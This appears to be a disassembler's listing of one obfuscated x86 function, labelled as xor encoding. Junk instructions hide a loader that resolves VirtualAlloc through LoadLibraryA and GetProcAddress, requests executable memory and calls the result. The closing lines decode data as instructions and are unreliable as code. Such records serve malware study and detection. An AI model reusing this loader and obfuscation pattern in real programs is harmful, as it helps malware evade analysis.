Function at 0x581aee
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov edx, 0xfde9
push ebx
push esi
push edi
lea esi, [edx - 1]
cmp eax, esi
je 0x581b0d
cmp eax, edx
je 0x581b0d
xor bl, bl
jmp 0x581b0f
mov bl, 1
mov ecx, 0xc435
cmp eax, ecx
ja 0x581b3b
je 0x581b63
cmp eax, 0x2a
je 0x581b63
cmp eax, 0xc42b
jbe 0x581b58
cmp eax, 0xc42e
jbe 0x581b63
cmp eax, 0xc431
je 0x581b63
cmp eax, 0xc433
jmp 0x581b56
cmp eax, 0xd698
je 0x581b63
cmp eax, 0xdea9
jbe 0x581b58
cmp eax, 0xdeb3
jbe 0x581b63
cmp eax, esi
je 0x581b63
cmp eax, edx
je 0x581b63
mov ecx, dword [ebp + 0xc]
and ecx, 0xffffff7f
jmp 0x581b65
xor ecx, ecx
mov edi, dword [ebp + 0x24]
movzx edx, bl
neg edx
movzx esi, bl
sbb edx, edx
not edx
and edx, edi
neg esi
sbb esi, esi
pushal
pushfd
rol esi, 0xa
call fcn.00404850
mov esi, dword [str.._AVMuiInspector_mui__]
xchg eax, edx
neg esi
add edx, esi
popal
add byte [edi + 0x3def7d0], al
salc
mov ebx, eax
shl eax, 0x16
not esi
dec esi
add edx, dword [0x6128b5]
mov edx, esp
ror esi, 0x14
dec eax
not edi
dec eax
rol esi, 0xe
dec esi
mov esi, eax
not esi
or esi, edi
mov esi, eax
mov esi, 0x5b324c1
mov eax, eax
add dword [0x61be10], 0xc03d818
rol esi, 4
test eax, edi
jo 0x581b88
call fcn.004048e7
call fcn.00414a20
mov esi, 0x1979cbd8
mov dword [0x61be54], 0x9cfbf68
shl eax, 0x1f
call fcn.0041e620
ror eax, 4
mov edx, ecx
xor edx, ebp
ror esi, 0xe
mov ebx, 0x32d5dd5
mov eax, esi
xor esi, eax
mov ecx, 0x7635c
inc esi
xchg eax, eax
neg eax
inc eax
xor edx, dword [0x6156c8]
xchg eax, eax
shr eax, 0x10
call fcn.0041e620
sub dword [0x61bdee], ecx
ror eax, 0x1f
loop 0x581c04
xor edx, eax
not eax
rol ecx, 0xc
mov ecx, 0x13b4dfbe
sub esi, dword [0x614f00]
xor ecx, esp
mov esi, eax
dec ebx
mov esi, eax
xor eax, eax
mov esi, ebx
or eax, 0x1c2738e4
mov edx, 0x181b660
test esi, 0x119d94f9
jo 0x581c87
not eax
mov ecx, 0x2a4cce
shr esi, 8
call fcn.00406317
mov dword [0x61be64], 0x180accc
test esi, edx
add byte [ecx], 0x85
salc
jo 0x581c6c
or dword [0x61bd4c], 0x149f0106
sub edi, dword [0x61296c]
inc esi
not edi
inc esi
loop 0x581c5c
aam 0xf7
xlatb
not edi
or edi, 0x13ff7e09
xor esi, eax
or esi, edi
rol eax, 0x14
add esi, eax
xchg eax, edx
xor esi, eax
add eax, ebp
xchg edx, eax
shl edx, 3
add ebx, eax
test esp, 0x246cef9d
jo 0x581d2d
mov ecx, 0xf5af4a
not eax
mov dword [0x61bda4], ecx
ror esi, 0x12
call fcn.00408f7c
inc esi
ror edx, 0x1c
dec eax
call fcn.0041e620
shl esi, 0x13
inc eax
sub esi, dword [0x614fd5]
not esi
loop 0x581cb3
dec ebx
call fcn.00405f30
rol eax, 0xe
shl edx, 6
rol edx, 0xf
sub ebx, eax
not edi
ror edx, 0x1e
xor eax, 0x10112ff4
and edx, 0x5fdac50
add edx, eax
mov ecx, 0x45f120
inc eax
test ebx, 0x21e16740
jo 0x581d55
xchg esi, edx
shl edi, 0x1c
not esi
xchg eax, eax
and dword [0x61bd76], 0x862afb2
shr edx, 0x12
rol eax, 0x11
loop 0x581d04
xor esi, eax
add eax, 0xad6268
push str.KERNEL32.dll
call fcn.00416b12
or dword [0x61bd8c], ecx
bound ebp, qword [ebp - 0x10399800]
pushal
add al, ch
fmul dword [ebp - 0x17]
dec dword [ecx]
or eax, 0x61bd8c
dec ecx
xor eax, edi
ror esi, 8
dec ecx
ror eax, 0xf
xor eax, edi
not esi
call fcn.0041e620
add eax, 0x4df1be5
inc edx
in eax, 0x1b
fild word [edx + eax*2]
xor esi, dword [0x612ef4]
call fcn.0041e620
add dword [0x61bd9d], 0x2a851cfc
add dword [0x61be4a], 0xbb0ebc1
call fcn.00405c41
call fcn.0040363c
sub dword [0x61bdd4], esi
call fcn.0040503f
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub edi, dword [0x61bebf]
mov dword [0x61be5e], ebx
dec eax
sub ecx, dword [0x61bfc4]
xor edi, 0x4192314
neg eax
inc esi
mov dword [0x61bd8c], esi
sub ecx, dword [0x61befa]
xchg esi, esi
call fcn.0040477b
xor dword [0x61bd3a], 0x194026a
dec eax
rol edx, 7
call fcn.00408084
ror edx, 7
inc eax
call fcn.00403994
xchg esi, esi
dec esi
neg eax
xor edi, 0x4192314
inc eax
and dword [0x61be31], esi
push 0
xchg eax, eax
not eax
call fcn.00404ad7
sub esi, eax
or dword [0x61be78], 0x2a02d014
add ebx, dword [0x61bfa4]
xor ecx, esp
dec eax
or dword [0x61bd5e], ecx
neg esi
sub ecx, dword [0x61bf70]
neg esi
mov dword [0x61bd2e], ebx
inc eax
xor ecx, esp
add dword [0x61bd64], 0x4512600
add esi, eax
call fcn.00407ab6
not eax
xchg eax, eax
push 0x636f6c6c
sub dword [0x61be64], ebx
sub esi, eax
mov dword [0x61bda8], edi
rol esi, 0xe
neg esi
rol esi, 2
call fcn.00402ea1
xchg eax, esi
mov dword [0x61bd5e], esi
xor edx, 0x29ca990
sub ebx, edx
not eax
xor edi, dword [0x61bf60]
not edx
not edx
not eax
add ebx, edx
xor edx, 0x29ca990
xchg eax, esi
ror esi, 2
neg esi
ror esi, 0xe
mov dword [0x61bd54], ecx
add esi, eax
push 0x416c6175
sub edi, esp
mov dword [0x61bdf6], 0x76100cd
xchg eax, esi
sub ecx, dword [0x61bf3e]
or dword [0x61bd65], 0x1875e6e0
mov dword [0x61be1b], 0x3037814
call fcn.00402396
neg eax
xchg esi, eax
xor edi, ebp
sub ecx, dword [0x61beb8]
dec edi
neg esi
dec esi
not edx
xor ebx, dword [0x61bea0]
rol eax, 0x1d
sub esi, edx
dec edx
not eax
not eax
inc edx
add esi, edx
ror eax, 0x1d
not edx
inc esi
neg esi
inc edi
xor edi, ebp
xchg esi, eax
neg eax
call fcn.00405b37
or dword [0x61bdd8], 0xfe4e8da
mov dword [0x61bdee], 0xcc57a97
xchg eax, esi
add edi, esp
push 0x74726956
sub edx, dword [0x61bf9f]
or dword [0x61bd3c], 0x8e1eff8
xor esi, eax
rol esi, 0xf
sub edi, eax
xchg edx, eax
call fcn.00406527
sub dword [0x61be60], esi
inc eax
add edx, esp
neg eax
sub ecx, dword [0x61bed0]
inc eax
xor esi, 0x2a9540a
xor ecx, dword [0x61bf68]
inc ebx
xor ebx, dword [0x61bf18]
mov dword [0x61bd53], edx
or dword [0x61bd84], esi
neg edi
neg edi
mov dword [0x61bd5e], esi
sub dword [0x61be30], esi
dec ebx
xor esi, 0x2a9540a
dec eax
neg eax
sub edx, esp
dec eax
xchg edx, eax
add edi, eax
ror esi, 0xf
xor esi, eax
or dword [0x61bd30], 0x159de7e
push esp
xor eax, ebp
sub dword [0x61bdfa], ecx
ror ecx, 4
inc eax
xor ebx, esi
call fcn.00406774
sub edx, dword [0x61bfd4]
ror esi, 0x1b
xor edi, esp
add eax, 0x10ea758f
xor eax, edx
sub esi, 0x11860ef0
rol edi, 0x1b
neg esi
dec eax
xchg edi, edx
inc eax
call fcn.004077a8
sub esi, dword [0x61be8c]
not esi
xor esi, eax
xor esi, eax
not esi
call fcn.004052fd
dec eax
xchg edi, edx
inc eax
neg esi
ror edi, 0x1b
add esi, 0x11860ef0
xor eax, edx
sub eax, 0x10ea758f
xor edi, esp
rol esi, 0x1b
xor ebx, esi
dec eax
rol ecx, 4
mov dword [0x61be48], ebx
xor eax, ebp
push eax
xchg edx, eax
inc eax
not eax
sub ecx, dword [0x61bec0]
ror esi, 8
not eax
ror esi, 8
xor esi, dword [0x61bf0a]
mov dword [0x61bdf0], esi
call fcn.004013fa
xor dword [0x61be06], 0x2653433a
xor edi, 0xff56433
sub dword [0x61bdd8], ecx
rol eax, 0x1a
dec esi
xor eax, 0x26fddfa
or dword [0x61bd28], edx
not esi
xor ecx, dword [0x61beeb]
xchg esi, edx
call fcn.004029ba
xor esi, dword [0x61bf7c]
call fcn.0040823b
xchg esi, edx
not esi
mov dword [0x61bd86], edx
xor eax, 0x26fddfa
inc esi
ror eax, 0x1a
or dword [0x61bd8b], ecx
xor edi, 0xff56433
sub dword [0x61be75], 0x10203b22
call fcn.004024b7
xor dword [0x61be00], ebx
rol esi, 8
not eax
rol esi, 8
not eax
dec eax
xchg edx, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
rol eax, 0x10
sub edi, eax
ror esi, 0xc
mov dword [0x61bd5c], edx
xor esi, eax
xor edi, dword [0x61bf54]
xor ecx, dword [0x61bf18]
xor edx, eax
xor ebx, dword [0x61be91]
xor edx, 0x8132508
rol eax, 0x1d
ror eax, 0x1d
xor edx, 0x8132508
xor edx, eax
xor esi, eax
rol esi, 0xc
add edi, eax
ror eax, 0x10
add esp, 0x10
xor esi, eax
xchg esi, eax
inc esi
xor ecx, esp
xor ecx, dword [0x61bf80]
sub dword [0x61bd7f], ecx
mov dword [0x61bdf1], ecx
not esi
sub edx, dword [0x61bf9c]
not esi
not esi
not esi
add dword [0x61be54], esi
or dword [0x61be24], ebx
xor ecx, esp
dec esi
xchg esi, eax
xor esi, eax
push 0x40
sub esi, eax
inc eax
xchg esi, eax
xor ebx, eax
sub esi, dword [0x61bfba]
xor dword [0x61be1d], 0xa038a1
call fcn.00407ab6
xor esi, eax
not ecx
mov dword [0x61bde4], edx
ror esi, 0x1c
rol esi, 0x1c
sub dword [0x61bd5b], esi
not ecx
xor esi, eax
call fcn.00402141
xor ebx, eax
xchg esi, eax
dec eax
add esi, eax
push 0x3000
xor esi, 0x5bb6e9a
add esi, eax
xor edi, dword [0x61bf50]
add eax, edx
sub esi, dword [0x61becd]
add ecx, dword [0x61becd]
sub dword [0x61bda8], ecx
neg esi
xor edx, esp
xor ecx, eax
xor ecx, eax
xor edx, esp
neg esi
sub dword [0x61be5c], esi
sub eax, edx
sub esi, eax
xor esi, 0x5bb6e9a
push 0x9bf
sub ebx, dword [0x61bfad]
xchg eax, eax
mov dword [0x61bd9c], 0x15df1c2c
dec esi
add eax, edx
call fcn.00408084
add eax, ebx
inc eax
neg eax
rol esi, 0x1d
xor edx, 0x5b4a1fe
call fcn.00402d09
xchg eax, eax
xor esi, eax
dec ecx
inc ecx
xor esi, eax
xchg eax, eax
call fcn.00401b3a
xor edx, 0x5b4a1fe
ror esi, 0x1d
neg eax
dec eax
sub eax, ebx
call fcn.0040272a
sub eax, edx
inc esi
mov dword [0x61be7e], 0x1a4d0fb9
xchg eax, eax
push 0
xor esi, ebx
call fcn.00402d09
xor edi, eax
ror esi, 0x1b
inc edx
or dword [0x61bd78], esi
xor esi, dword [0x61bfd0]
add edi, edx
ror eax, 0xb
not esi
sub ebx, dword [0x61bfc4]
xor esi, eax
xor edi, dword [0x61bfa6]
xor esi, eax
not esi
rol eax, 0xb
sub edi, edx
mov dword [0x61bd64], ebx
dec edx
rol esi, 0x1b
xor edi, eax
call fcn.00403839
xor esi, ebx
call eax
xor eax, 0x11be2a6
xor ecx, dword [0x61bf28]
xor edi, eax
rol edx, 0x19
add edi, ebx
not esi
xor ecx, dword [0x61bf5e]
xor eax, edx
xor edi, dword [0x61becb]
not eax
xor eax, 0x2f29ff4
mov dword [0x61be64], ebx
mov dword [0x61bd49], 0xd448a0a
xor dword [0x61bd64], 0x605e842
inc eax
xor edx, esp
call fcn.0040477b
not ecx
not ecx
call fcn.00408084
xor edx, esp
dec eax
mov dword [0x61be21], 0xfa6db56
mov dword [0x61bd8e], edi
xor eax, 0x2f29ff4
not eax
xor eax, edx
not esi
sub edi, ebx
ror edx, 0x19
xor edi, eax
xor eax, 0x11be2a6
call 0x582301
call fcn.00407ab6
not eax
xor esi, eax
add eax, edi
call fcn.00404566
xor edi, eax
xor edi, dword [0x61bf68]
xchg eax, eax
xor dword [0x61be09], edx
call fcn.0040131a
xor edx, dword [0x61bee7]
xor ecx, eax
sub ecx, dword [0x61bee9]
xor ecx, eax
call fcn.00405318
or dword [0x61bdca], edi
xchg eax, eax
xor edi, eax
call fcn.00405879
sub eax, edi
xor esi, eax
not eax
call fcn.00406e57
pop esi
sub edx, edi
xor esi, eax
sub edi, dword [0x61bfd2]
add edx, dword [0x61beb4]
sub edi, dword [0x61bf2c]
ror edi, 0x13
mov dword [0x61be54], edi
inc eax
xchg ebx, eax
add ecx, dword [0x61bf6a]
call fcn.00403462
add esi, eax
ror ebx, 0xf
sub esi, dword [0x61bfc4]
sub esi, eax
xor edx, 0x90ad98a
sub ecx, dword [0x61bf60]
dec edx
xor edx, dword [0x61bee1]
add ecx, dword [0x61be9b]
xor edx, eax
xor edx, eax
inc edx
xor edx, 0x90ad98a
add esi, eax
rol ebx, 0xf
sub esi, eax
xchg ebx, eax
dec eax
mov dword [0x61bdd6], ecx
rol edi, 0x13
xor esi, eax
add edx, edi
add esi, 0x2f1
mov dword [0x61bd7a], edi
xor ebx, dword [0x61bed2]
mov esi, 0x5c70061
mov bh, 0xbd
popal
add byte [eax + 0x2b04e8bd], ah
call 0xbc954eee
mov esi, 0x87e80061
xor al, 0xe8
jmp [ebx]
rol bh, 1
add eax, 0x61bd6a
push esi
push 0xffffffffffffffc9
mov dword ss:[0x61be4d], 0x1534bc5a
sub esi, 0x764da60
call fcn.00403462
xchg ebx, eax
ror eax, 0x1c
rol eax, 0x1c
xchg ebx, eax
call fcn.00403918
add esi, 0x764da60
pushal
fisub dword [edi + eax - 0x7f]
or eax, 0x61be03
dec ebx
dec esi
pop es
add byte [ebx], al
shr al, 1
cmp eax, dword [ebx - 0x18]
inc edi
add eax, 0x61be18
dec ecx
fucomi st(7)
sbb eax, 0xbd3a0d31
popal
add byte [ebx + 0x46f033f8], cl